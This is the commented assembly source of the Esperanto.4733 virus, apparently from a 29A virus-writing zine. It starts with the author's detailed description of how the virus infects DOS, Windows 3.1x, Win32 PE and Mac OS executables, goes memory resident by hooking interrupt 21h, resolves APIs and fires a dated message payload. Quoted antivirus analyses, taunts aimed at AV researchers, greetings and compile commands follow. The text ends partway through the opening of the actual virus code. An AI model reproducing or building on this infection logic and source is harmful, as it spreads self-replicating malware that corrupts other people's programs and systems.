; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Esperanto gets the compatibility and the portability between these three
; different processors by means of the strategyc use of its internal struc-
; ture, so it's completely necessary to see what does it consist on in order
; to understand the way Esperanto works.
;
; Maybe the first question which comes up to your mind is something similar
; to "how the fuck can it jump from PCs to Macintoshes?". Theoretically, it
; would be impossible, as PC applications are compiled for Intel processors,
; which use different opcodes than the ones used by Motorola and/or PowerPC.
; But practically it was possible, by means of some tricks. I will try to
; explain them all point by point.
;
; a) How can a PC executable file jump into a Mac? Mac OS uses something si-
; milar to drivers, called "extensions". Since many time ago Mac OS in-
; cludes an extension called "PC Exchange", which is loaded by default
; and is able to read and write any PC disk. Since then lots of Macintosh
; users, by means of DOS and Win emulators, use lots of PC files in their
; Macs. The first step is, as you can see, done.
;
; b) How can Esperanto infect under Mac OS? well, this requires some theory.
; Mac OS executable files consist on definite-purpose resources (such as
; CODE, MDEF (Menu DEFinition), BNDL (bundle), etc). Every executable fi-
; le in Mac OS has a resource index or relocation at its end, and this is
; what the operating system looks for in order to distinguish executable
; and non-executable files. One of these resource indexes has been "arti-
; ficially" added to the end of the Esperanto body. This item does not do
; anything under any PC platform, but it does force Mac OS to execute in-
; fected PC programs in Macs. When going to run any of these PC programs
; under one of the known DOS or Win emulators, Mac OS will recognize the
; executable format and then will run the infected file with no emulation
; so Esperanto will go memory resident under Mac OS. After this, the con-
; trol will be given back to the Intel emulator and then the infected fi-
; le will be normally executed, being possible to stay memory resident in
; the virtual memory used by the DOS or Win emulator as well.
;
; c) But aren't the opcodes of each processor different? indeed. And that is
; why Esperanto has a specific infection routine for Mac OS applications
; totally written and compiled in Motorola 680x0 code. This submodule was
; incrusted into the main Esperanto body and is pointed by the previously
; mentioned resource index. When an infected application is run in Mac OS
; after having been recognized as an executable file the operating system
; first checks the resource index. A pointer to a MDEF resource will be
; found in it, and then the execution will jump straight to the starting
; offset pointed to in the resource index, where the so called "jump ta-
; ble" is supposed to be. This jump table is another characteristic of
; Mac OS applications, and its mission consists on managing the hierarchy
; of the execution of the different resources in a file. This jump table
; does not actually exist in Esperanto; instead of it there is a jmp ins-
; truction (Intel-opcoded) which in PCs will jump to the virus real start
; and in Macintoshes will be interpreted as non-sense data, so it will be
; skipped... until the next instruction, a Motorola one, is reached. That
; is the first instruction of the Mac OS module which, consequently, will
; be run as execution goes on. Our objective is done.
;
; d) And how can the virus run in PowerPC processors? since these processors
; are used in Power Macintosh and PowerBook computers, in Apple they had
; to look for some kind of compatibility between old applications (which
; were compiled for Motorola) and the new processors, so they eventually
; came up with the idea of including a Motorola code emulator inside the
; new Mac OS kernel. Since then there's a full compatibility between both
; processors and their applications, and that's why Esperanto is able too
; to work in PowerPC-based machines which use Mac OS.
;
; e) How can Esperanto jump from Macs to PCs? also very easy. The virus will
; infect every PC file it finds in the DOS/Win emulator and as soon as o-
; ne of these files is copied to a PC the work will be done. And remember
; there's no necessity of any floppy disks, as it's usual to find PC com-
; puters connected to Macintoshes by networking means. That's why none of
; the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS)
; was included in the virus, as they would be a loss of bytes.
;
; Once this all is understood it is much simpler to understand the internal
; structure of the virus. Esperanto consists on four different modules and
; four entry points. There is a specific virus module for Mac OS, DOS, Win,
; and Win32. And there is one entry point for each of them: the first one is
; "universal", it's the one we've just described above. It is valid for COM,
; EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction,
; whose mission consists on "discriminating" the processor it is working un-
; der and, depending on that, distributing the execution point either to the
; start of the Mac OS module or to the start of the DOS one. The second en-
; try point is the one straight reached in this last case, and it is valid
; only for COM and EXE files. The third entry point is the one used by the
; Windows 3.1x module, and finally the fourth deals with the Win32 code.
;
; Again, the use of a diagram will make things much simpler to understand:
;
;
; ÚÄÄÄÄÄÄ¿
; ÚÄÅÄÄÄÄÄÄÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÄÄDLE Universal entry point
; ³ ÀÄÄÄÄÄDLE³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÃÄÄDLE Mac OS entry point
; ³ ³ÛÛÛÛ Mac OS ÛÛÛÛ³
; ³ ³ÛÛÛÛ module ÛÛÛÛ³
; ³ ³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ³
; ÀÄÄÄÄÄÄÄDLE³±±±±±±±±±±±±±±±±ÃÄÄDLE COM/EXE entry point
; ³±± DOS module ±±³
; ³±±(not memres)±±³
; ÚÄÄÄÄÄÄ´±±±±±±±±±±±±±±±±³
; ÚÄÅÄÄÄÄÄÄ´°°°°°°°°°°°°°°°°ÃÄÄDLE NewEXE entry point
; ³ ³ ³°° Win module °°³
; ³ ³ ³°°°°°°°°°°°°°°°°³
; ³ ÀÄÄÄÄÄDLE³±±±±±±±±±±±±±±±±ÃÄÄDLE DOS memory resident code
; ÀÄÄÄÄÄÄÄDLE³±± DOS module ±±ÃÄÄDLE 16-bit infection routines
; ³±±(memory res)±±³
; ³±±±±±±±±±±±±±±±±³
; ³²²²²²²²²²²²²²²²²ÃÄÄDLE PE entry point
; ³²² W32 module ²²³
; ³²²²²²²²²²²²²²²²²³
; ³++++++++++++++++ÃÄÄDLE Data buffer
; ³+++++ Data +++++³
; ³++++++++++++++++³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
;
; 2.1. The Mac OS module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module (Motorola-opcoded) was written and compiled in a Mac computer.
; It has the format of a MDEF resource. It's executed every time an infected
; application is run under Mac OS. When this happens the module will perform
; the System File infection, so that the virus will be loaded every time the
; user boots from his hard disk. Then it will give control back to the host.
;
; From this moment onwards the virus will rapidly spread all over the system
; in a "chain" process: after its host has been run, the System File (remem-
; ber, previously infected) will call and then infect the Mac OS Finder. The
; Finder, in its turn, will infect *any* accessed file (findfirst, findnext,
; open, close, chmod...), and this includes the DA Handler, the Desktop File
; (if available, only in Mac OS <7), control panels, extensions, etc.
;
; Infection consists on simply adding a new MDEF resource to the victims and
; copying the whole viral code into it, setting execution priviledges to the
; resource with ID=0. Esperanto will not go memory resident twice.
;
; I think it would be fair to say that this was probably the part of the vi-
; rus whose writing i enjoyed most as i had to develop it all myself because
; there are not any tutorials on Mac OS infection (as far as i know).
;
;
; 2.2.0. The DOS module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module uses 16-bit Intel code, and was specifically designed to run
; in DOS. It has the peculiarity of being divided into two different chunks,
; each of them with a different mission. Now i'll try to describe the func-
; tioning and the behavior of both of these DOS submodules.
;
;
; 2.2.1. The DOS runtime module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This submodule is executed every time an infected COM or EXE file is run.
; When this happens, the DOS runtime module will try to perform two actions:
; first, become memory resident by hooking interrupt 21h; and second, resto-
; re its host in order to let it be executed.
;
; The residency method is completely standard, as the virus first checks for
; its presence in memory (in order to not to go resident twice), and if this
; is ok then creates a new MCB, sets it as a system one used by DOS, copies
; its code into it and then jumps to this copy, so no ëelta-offset is longer
; needed. Once this happens it will hook interrupt 21h, setting the new vec-
; tor to the start of the DOS memory resident module, and then will check
; for the file format of its host, in order to rebuild and jump to it.
;
;
; 2.2.2. The DOS memory resident module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This submodule is executed every time the interrupt 21h is called once the
; virus has previously gone memory resident. Esperanto intercepts only three
; functions: its own interrupt service (a ":)" smiley), the findfirst servi-
; ce (4eh) and the findnext service (4fh). If the int call does not hold any
; of these services as request, the virus will jump to the original int 21h.
;
; Instead, Esperanto will perform several actions when having intercepted a-
; ny of the functions in hooks. When the value held in AX is equal to 3a29h,
; which stands for a ":)" smiley, it will increment AH so the eyes will turn
; into a ";)" wink. This is used for the residency check to not to go memory
; resident twice. The execution will then jump to the original interrupt.
;
; If the value held in AH is equal to 4eh or 4fh (findfirst/findnext), Espe-
; ranto will try to set up the file for its infection. The virus will first
; store the full path and the filename, and later will check its extension.
; If the extension is .COM or .EXE, Esperanto will continue running the cor-
; responding routines encharged of examining the file and determining whe-
; ther it is infectable or not. Otherwise it will hand the control over the
; original interrupt service by means of a "retf" instruction.
;
;
; The 16-bit infection routines
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; For the case the latter didn't happen, Esperanto is about to check the fi-
; le in DS:DX in order to know if it is worth to be infected or not. But be-
; fore doing any specific file check (which would depend on its extension),
; the virus does a call to the "system_checks" routine. This routine is kind
; of an "infection limiter", used in order to avoid the virus presence being
; unveiled because of the system slowdown which would happen if there were
; no limits when infecting files. Thus, Esperanto will infect from 0 up to 3
; files per (a maximum of a) minute. If the "system_checks" routine does not
; return a 0 in AH, then Esperanto has not infected 3 files yet in the same
; minute, so it may keep on seeking for victims.
;
; Now, if the possible victim is a COM file, the virus will check first for
; its infection mark (a ";)" smiley) in the offset 4 of the file. If this is
; ok then it will just assure itself the file is bigger than 5733 (the virus
; size+1000) and smaller than 59802 (65535-the virus size-1000). If the file
; has passed all the tests then it's good to be infected: 4733 bytes will be
; appended to its end and it will have a new 5 bytes long header (jmp+";)").
;
; The conditions required for EXE files are different. The virus will see if
; the first word in the file is MZ or ZM. Later it will check for its infec-
; tion mark, any overlay, and the presence of PkLite. If nothing goes bad it
; will then skip the file if it's smaller than 5733 (Esperanto+1000) and fi-
; nally will see if it is a Windows EXE file. For the case it is not the vi-
; rus will modify CS, IP, SS and SP besides other pointers in the MZ header,
; and then append itself to the end of the file.
;
; If it is about a Windows EXE file, it will decrement the pointer in 3ch to
; the new EXE header by 8, and then rewrite the MZ header. This new EXE hea-
; der will be read (512 bytes) and then Esperanto will check for the NE (for
; NewEXEs) or PE (for PEs) mark. If a different mark (LE, LX...) is found,
; the file will be rejected, and the original header rebuilt. If it is about
; a NewEXE, the virus will check straight for the gangload area. If it is ok
; then Esperanto will infect the file: first it will update all the pointers
; related with the segment table, as it will be shifted. Later, the gangload
; area will be killed for compatibility, and the new CS:IP will be set. Fi-
; nally the NE header and the segment table will be shifted by 8 and the vi-
; ral code plus the relocation item appended to the end of the file.
;
; Finally, if the file turns out to be a PE the virus will read again the MZ
; header of the file and readd 8 to the pointer in 3ch. A page from the off-
; set pointed by the latter will be read again (ie, the PE header), and then
; the checks will start again. These consist on checking if the file is exe-
; cutable and if it's not a DLL. After this, Esperanto looks for the import
; section in the file, reads it, and then looks for the KERNEL32.DLL module
; descriptor. Files which do not import any API from it will consequently be
; discarded, as well as binded files. The final step before infection con-
; sists on storing in a dynamic variable the RVAs for the GetModuleHandleA
; and GetProcAddress APIs. Once these steps are done the victim is ready for
; infection. The virus will attach itself as an extension of the last sec-
; tion in the file, and then will modify the AddressOfEntryPoint field so it
; points to the start of the virus, the section characteristics to exec/read
; /write, and the SizeOfImage field. And, of course, the virus will then ap-
; pend its body to the end of the file.
;
;
; 2.3. The Windows 3.1x module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This module is executed every time an infected NewEXE file is run. It will
; first of all get an alias selector for CS and point it with DS. As soon as
; this is done it will use its own runtime routines in order to look for so-
; me files (COM and EXE) to infect. To save bytes, the module shares the sa-
; me infection routines used by the DOS module (read the "The 16-bit infec-
; tion routines" point for further information). As soon as the maximum num-
; ber of files to infect (according to the virus limiter) is reached, Espe-
; ranto will jump to the original CS:IP of its host.
;
;
; 2.4. The Win32 module
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This last module is executed every time an infected PE file is run. It was
; written and compiled in 32-bit protected mode, and that is what it is able
; to work in: Win32 platforms (Win32s/Windows95/WindowsNT). When it's execu-
; ted it first gets the base address of its host and pushes its real entry
; point, and later performs several actions in order to stay compatible and
; portable between all the Win32 platforms. These actions consist on getting
; the previously stored RVA of GetModuleHandleA and calling this API in or-
; der to get the address of the KERNEL32 module, and later getting the also
; previously stored RVA of GetProcAddress in order to use it and thus be a-
; ble to get the address of all the APIs needed by Esperanto. If the RVAs of
; GetModuleHandleA and GetProcAddress were not stored for some reason, Espe-
; ranto would use its own undocumented routines in order to get the base ad-
; dress of KERNEL32 and, inside the export table of the latter, the address
; of the GetProcAddress API function.
;
; Once these steps are done Esperanto calls the GetLocalTime API in order to
; know if the current date is the one required by the payload to activate.
; This payload and its effects are fully described below. If the date is not
; the one the payload needs to activate then the execution will continue and
; the virus will use the FindFirstFileA/FindNextFileA APIs in order to find
; some files to infect. Again, the infection will be controlled and Esperan-
; to will hit a maximum of three files per run. The checks performed by this
; module are the same than the ones performed by the DOS module, and the in-
; fection routines consist on exactly the same, besides in two points: first
; of them is the fact that this module uses file mapping in memory in order
; to make things easier and save bytes; and second is that this module does
; not infect NewEXE files, as divisions with 32-bit integers when DX is not
; equal to zero cause troubles; the solution would be either only infecting
; NewEXEs < 0ffffh (as done with EXEs) or making a 16-bit division. I didn't
; like any of them so i avoided a headache just by skipping NewEXE files.
;
;
; 2.5. Union makes the power
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; It's not about the fact that this virus has been written to be in the wild
; or shit like that. In fact i did not take care about restoring file attri-
; butes, date or time, because i wrote this just to "prove my point", not to
; release it and let it survive in the wild, so i don't care it being easy
; to detect or unveiling its presence. It was just a challenge for myself,
; not a defiance for innocent average-level computer users.
;
; It's about its versatility. You could see the virus consists on four modu-
; les. Each of those modules was written individually and thus would be able
; to work with no need of the presence of the resting modules (except of the
; Windows 3.1x one, which shares its infection routines because of optimiza-
; tion reasons). Separately they would be normal infectors. But they all to-
; gether are a unique virus in its class. For the same reason, the infection
; ratio and the versatility of the virus are much bigger than if it would be
; separated into independent modules: the DOS module goes memory resident in
; order to infect files while the Windows 3.1x and the Win32 ones use runti-
; me infection. But what happens if the virus (the DOS module) is memory re-
; sident and Windows 3.1x or a Win32 platform is loaded? the result is that
; Esperanto will then use both memory *and* runtime infection as the DOS mo-
; dule is able to stay resident also under Windows and both Windows 3.1x and
; Win32 call the original 4eh/4fh services of interrupt 21h in order to find
; files. Esperanto would be, as you can see, much more infectious. And don't
; see this as a remote possibility, as WIN.COM is usually the first file the
; virus infects from its Windows 3.1x module, for instance.
;
; Finally i would like to add a clarification about the virus. You will pro-
; bably find strange or non-sense things on it, or even things you can't un-
; derstand or think they're wrong or could be improved. And you will kind be
; right and kind be wrong... "they are not bugs, they are features". What do
; are bugs are some included on purpose in order to stop the virus spreading
; fast so it can't go too far in the wild.
;
; Note again that the purpose of this virus is not to infect people and thus
; become widespread in the wild; its real objective is summed up in the pre-
; tty famous Nike slogan... "just do it" ;)
;
;
; 3. Payload
; ÄÄÄÄÄÄÄÄÄÄ
; This virus took its name after the universal language Esperanto. This lan-
; guage was invented in 1887 by L.L.Zamenhof, a polish doctor. Esperanto was
; designed to be the second language of everyone, and then was invented with
; no irregularities and/or exceptions, so everybody would be able to rapidly
; and easily learn it and communicate with other Esperanto speakers. It ini-
; tially had a lot of success, but its growing process was stopped by the II
; World War as lots of its speakers died in it. Since about ten years ago it
; is experiencing a new peak, and its use has been recommended many times by
; international organisms such as UNESCO, which also stress its paedagogy as
; Esperanto, once learnt, makes the learning process of other languages much
; easier. Today, Esperanto is spoken by about ten million people.
;
; I found some parallelism between this language and my virus because as the
; language goes beyond any culture, race or whatsoever the virus goes beyond
; any processor, platform or file format. And also because i personally sup-
; port and speak Esperanto it seemed to me the perfect name for my virus.
;
; The payload activates every year on july 26th, which was the release date,
; in 1887, of "Internacia Lingvo" (International Language), by Zamenhof, the
; first book written in Esperanto. Today there are over ten thousand titles.
; The virus payload will activate only when running in a Win32 platform, and
; consists on showing the text below within a message box. When the user ac-
; cepts the "ok" button the virus jumps straight to the host, without infec-
; ting any file (that's its only vacancy time).
;
;
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
;
; What reads after the slash in every line is, of course, the translation of
; the english "verse" into Esperanto. And yes, i know it looks strange :)
;
;
; 4.0 The "other side"
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; It has only passed one week after having sent the virus to two AVers. This
; is what we could get from them by the moment. Further reports and analyses
; will be referenced in the next issue of 29A.
;
;
; 4.1. Mikko Hypp”nen speaks (F-Prot)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.DataFellows.com/v-descs/esperant.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; NAME: Esperanto
; TYPE: Resident COM/EXE-files
;
; This virus infects lots of different executables:
;
; When running in DOS and Windows 3.1x it will infect:
; - DOS COM files
; - DOS EXE files
; - Windows 3.x NewEXE files,
; - Windows 95 PE EXE files
; - Windows NT PE EXE files
;
; When running in Windows 95, Windows NT and Win32s it will infect:
; - DOS COM files
; - DOS EXE files
; - Windows 95 PE EXE files
; - Windows NT PE EXE files
;
; The virus carries a dropper of a Macintosh virus in it's code.
; This will work under Mac and PowerMac and will infect:
; - Mac OS applications
; - Extensions
; - Control panels
; - The System File
; - The Mac OS Finder
; - The DA Handler
; - The Desktop File
;
; When Esperanto is running on a PC, it will stay resident and infect
; programs when they are accessed.
;
; When such COM and EXE files are taken to a Macintosh or a PowerMac and
; executed under a PC emulator such as SoftPC or SoftWindows, they will
; execute as Mac programs. This happens because Esperanto adds a special
; resource-like add-on to PC files. Such programs will drop a Mac-specific
; virus which will continue spreading on Macintosh computers. The Mac
; version of the virus will not spread back to PC users. PC version of
; the virus won't infect Mac executables directly even if it would
; have access to them through floppies or file sharing.
;
; Esperanto activates every year on July 26th. The first book in the
; international Esperanto language was released on this date. When an
; infected file is executed under Windows 95 or Windows NT on this date,
; the virus will show a dialog box with the following texts:
;
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
; The Mac version of Esperanto was the first new Mac virus for over two
; years when it was discovered in November 1997.
;
; [Analysis: Mikko Hypponen, Data Fellows Ltd]
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.2. Eugene Kaspersky speaks (AVP)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.avp.ch/avpve/file/e/esperant.stm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Esperanto.4733
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This is a multiplatform parasitic virus. It infects DOS COM and EXE,
; Windows EXE (NE) and Windows32 EXE (PE) files. It also has a part of
; code that looks like a MDEF Macintosh resource and seems to be also a
; virus for the Macintosh. I see no way for that virus to spread from
; Macintosh to PC, and from PC to Macintosh - being executed as DOS/Win
; application the virus pays no attention for Mac files. It seems to be
; the same for infected Mac programs - the virus does not pay attention
; for DOS/Win files. I think that the only way to spread that virus from
; Mac to PC and back is to copy and run it "manually".
;
; When an infected file is executed under DOS, the virus hooks INT 21h and
; stays memory resident. When files are executed or accessed by FindFirst/
; Next DOS calls, the virus infects them. The virus also searches for COM
; and EXE files and infects them. Being executed as Windows or Windows32
; application, the virus does not leave its TSR copy in the memory - it
; just searches for files and infects them.
;
; While infecting the virus parses internal file format, separates DOS COM,
; EXE, NewEXE and Portable EXE files and infects them in different ways:
; writes itself to the end of DOS COM and EXE files and modifies file
; header, creates new section in Windows NE files, appends itself to the
; last section in Windows32 PE files.
;
; Being executed as Windows32 application the virus also checks the system
; time and depending on it displays the MessageBox:
;
; [Esperanto, by Mister Sandman/29A]
; Never mind your culture / Ne gravas via kulturo,
; Esperanto will go beyond it / Esperanto preterpasos gxin;
; never mind the differences / ne gravas la diferencoj,
; Esperanto will overcome them / Esperanto superos ilin.
;
; Never mind your processor / Ne gravas via procesoro,
; Esperanto will work in it / Esperanto funkcios sub gxi;
; never mind your platform / Ne gravas via platformo,
; Esperanto will infect it / Esperanto infektos gxin.
;
; Now not only a human language, but also a virus...
; Turning impossible into possible, Esperanto.
;
; The virus also contains the text strings that are used while infecting
; Windows32 files:
;
; KERNEL32.DLL USER32.DLL GetModuleHandleA GetProcAddress MessageBoxA
; CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle
; FindFirstFileA FindNextFileA FindClose LoadLibraryA GetLocalTime
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.3 Keith Peer speaks (AVP)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) alt.comp.virus
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; From - Sat Nov 22 02:03:41 1997
; From: Keith Peer <keith@command-hq.com>
; Newsgroups: alt.comp.virus
; Subject: New Multi-Operating System virus discovered!
; Date: Thu, 20 Nov 1997 12:54:01 -0500
; Organization: Central Command Inc.
; To: virus-l@lehigh.edu
;
; November 20, 1997
;
; FOR IMMEDIATE RELEASE
;
; Renee Barnhardt
; Central Command Inc.
; 330-273-2820
; renee@command-hq.com
;
; Central Command today announces the discovery of new multi-operating
; system virus.
;
; New cross platform virus that can infect all popular desktop computers.
;
; Brunswick, OH, November 20, 1997 Central Command Inc. the U.S. distributor
; for AntiViral Toolkit Pro (AVP) announces today that a new computer virus
; has been discovered that can operate under DOS, Windows, Windows 95,
; Windows NT, and Macintosh operating systems.
;
; "We are seeing a lot of new technology in computer viruses today. It seems
; that the virus writers are concentrating more on developing sophisticated
; viruses that extend further and infect more widely. I am sure this will
; not be the last virus we encounter that can infect DOS, Windows, Windows
; 95, Windows NT, and Macintosh operating systems, but right now this is
; the first." Said Central Command's President, Keith Peer.
;
; This multiplatform parasitic virus named Esperanto.4733, infects DOS, COM
; and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It also
; has instructions that look for MDEF Macintosh resources and also operates
; under the Macintosh environment. There is no way for this virus to spread
; from Macintosh to PC, and from PC to Macintosh. When a infected program
; is started as a DOS or Windows application the virus does not execute the
; Macintosh instructions. The same effect happens when a infected Macintosh
; program is started, the virus simply ignores the DOS, and Windows
; instructions. Currently, the only way for this virus to spread from a PC
; to a Macintosh is by copying it.
;
; While infecting the virus searches the internal file format of the
; programs, and separates DOS, COM and EXE programs, Windows, Windows 95,
; Windows NT, and Macintosh programs and infects differently.
;
; [...Publicity...]
;
; ---------------------------------------------------------
; Central Command Inc. AntiViral Toolkit Pro
; http://www.command-hq.com sales@command-hq.com
; Ph: 330-273-2820 Fax: 330-220-4129
; -> See our website for free software evaluations! <-
; ---------------------------------------------------------
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 4.4. Guillermito speaks ;)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) alt.comp.virus
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; From - Sat Nov 22 02:04:19 1997
; From: Guillermito <guillermito@pipo.com>
; Newsgroups: alt.comp.virus
; Subject: Re: New Multi-Operating System virus discovered!
; Date: Fri, 21 Nov 1997 09:16:28 +0100
; Organization: INRA des Villes
;
; Keith Peer wrote:
;
; > This multiplatform parasitic virus named Esperanto.4733, infects DOS,
; > COM and EXE programs, Windows EXE (NE) and Windows32 EXE (PE) files. It
; > also has instructions that look for MDEF Macintosh resources and also
; > operates under the Macintosh environment.
;
; Hey MrSandman! Lo has conseguido! Que cojonudo, tio!
;
; Cabanas/Esperanto: 29A is the best virus group on earth.
;
; --
; Guillermito
; http://www.pipo.com/guillermito/darkweb/virus.html
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; My reply: lo tuyo s¡ que se sale... ;) Espero verte de nuevo en la pr¢xima
; reuni¢n de 29A este verano, a ver si esta vez no te pierdes en Madrid ;)
;
; Btw, the guys at AVP don't seem to have understood very well the way Espe-
; ranto jumps from a PC to a Macintosh computer. I would also like to make a
; special mention to Alan Sollomon (aka Alan Salmon), who, resentful for not
; being one of "the chosen", tried to follow Bontchev's steps (he knows what
; i mean). This makes nothing but confirming my opinion on who in the AV si-
; de makes a serious and proffesional work and who prefers to get some noto-
; riousness by trying to create actually inexistent conflicts between VX and
; AV and even between AV and AV themselves, rather than cordiality.
;
; "That's the way they act, that's why their products suck".
;
; And Kaspersky... you rock, but you should stop believing you're a god. Get
; some time to learn a better english and something on Win32 viruses, try to
; approach your previous modest behavior rather than Daniloff's, and that is
; when you'll start to write again those dazzling virus analyses such as the
; unforgettable work you did with Zhengxi.
;
; However i still admire you.
;
;
; 5. Greetings
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; I would like to thank Jacky Qwerty very especially for his big help in the
; Win32 module (as well as in some stupid bugs) :) I wouldn't have been able
; to write the Win32 module without him. What can i say man... thank you ve-
; ry much, you rock ;) Also very special thanks to GriYo, who provided to me
; as well as Jacky very valuable information and code about PE infection un-
; der Win32, when we all (Jacky, GriYo and i) were working on the subject.
;
; A very special greeting also for Vecna, who is nowadays doing the military
; service in Brazil, his country... i'll never forget what you said about my
; virus, we all miss you and hope to see you soon, friend :)
;
; Btw, Guillermito... what about your "virus of the year" contest? ;)
;
;
; 6. Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Don't even think on trying to compile the source code below. To do it, you
; should first separate three of the four modules, compile each of them with
; a different mode and/or compiler, and then put again the whole stuff toge-
; ther into one only file, keeping the data area untouched and having to mo-
; dify *every* pointer to it in the viral code.
;
; Better to use the already compiled binary provided by us, right? :) Anyway
; these are the compiling modes, for those of you who are curious about what
; did i use for compiling Esperanto. Btw, the compiler for the Mac OS module
; was CodeWarrior (i had to insert the ASM code inside a C source).
;
;
; DLE DOS+Windows 3.1x modules
;
; tasm /m espodos.asm
; tlink espodos.obj
; exe2bin espodos.exe espodos.com
;
; DLE Win32 module
;
; tasm32 -ml -m5 -q -zn espow32.asm
; tlink32 -Tpe -c -x -aa espow32.obj,,, import32.lib
; pewrsec espow32.exe

.model tiny
.code
org 0

; Í͹ Absolute virus start ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

.386 ; Intel 80386 real mode


espo_start label byte ; Define virus start
espo_mem_size equ espo_mem_end-espo_start ; Define size in memory
espo_file_size equ espo_file_end-espo_start ; Define size in file
reloc_size equ reloc_end-reloc_start ; Relocation size (NE)
dseta_offset equ dseta_byte-espow32_start ; Dseta-offset size
text_size equ text_end-text_start ; Size of payload text
base_default equ 400000h ; Base default address

; ÄÄ´ Universal entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Note: this is the entry point for infected COM, EXE and Mac OS files. If
; the following instruction is executed in an Intel processor, it will jmp
; to the real entry for COM and EXE files. Otherwise (when running under a
; Motorola or PowerPC processor) it will be interpreted and executed as if
; it were plain data, thus being able to reach the real entry for infected
; Mac OS applications, which starts with a branch to the definitive entry.

com_exe_entry: jmp real_ce_entry ; Jumps only in PCs

; Í͹ Mac OS module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

espo_header: bra.s mac_os_entry ; Jump to virus code


dc.w #$0 ; Header gaps for later
dc.l #'MDEF' ; initialization in the
dc.l #$0 ; jump table built by
dc.l #$0 ; the Mac OS Finder

; ÄÄ´ Entry point for Mac OS applications ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

mac_os_entry: lea espo_header,a0 ; Copy our code location


move.l a0,$9ce ; to $9ce (ToolScratch)
bra espo_body ; for later reference

espo_body: link a6,#-$24 ; Link code address


movem.l d4-d7/a2-a4,-(sp) ; Push in our registers
move.l $14(a6),d5 ; Use d5 as ëelta-offset

movea.l #$a25,a3 ; In $a25 (MenuFlash),


move.b (a3),d0 ; look for our action
ext.w d0 ; code (3) in order to
subq.w #$3,d0 ; know if our code is
beq infect_mac_os ; already active or not

move.b #$3,(a3) ; Else switch the flag


clr.w d7 ; on as we're going to
moveq #$2,d6 ; run or handling code
check_offset: tst.w d7 ; Look for our resident
bne search_loop ; code thru the memory

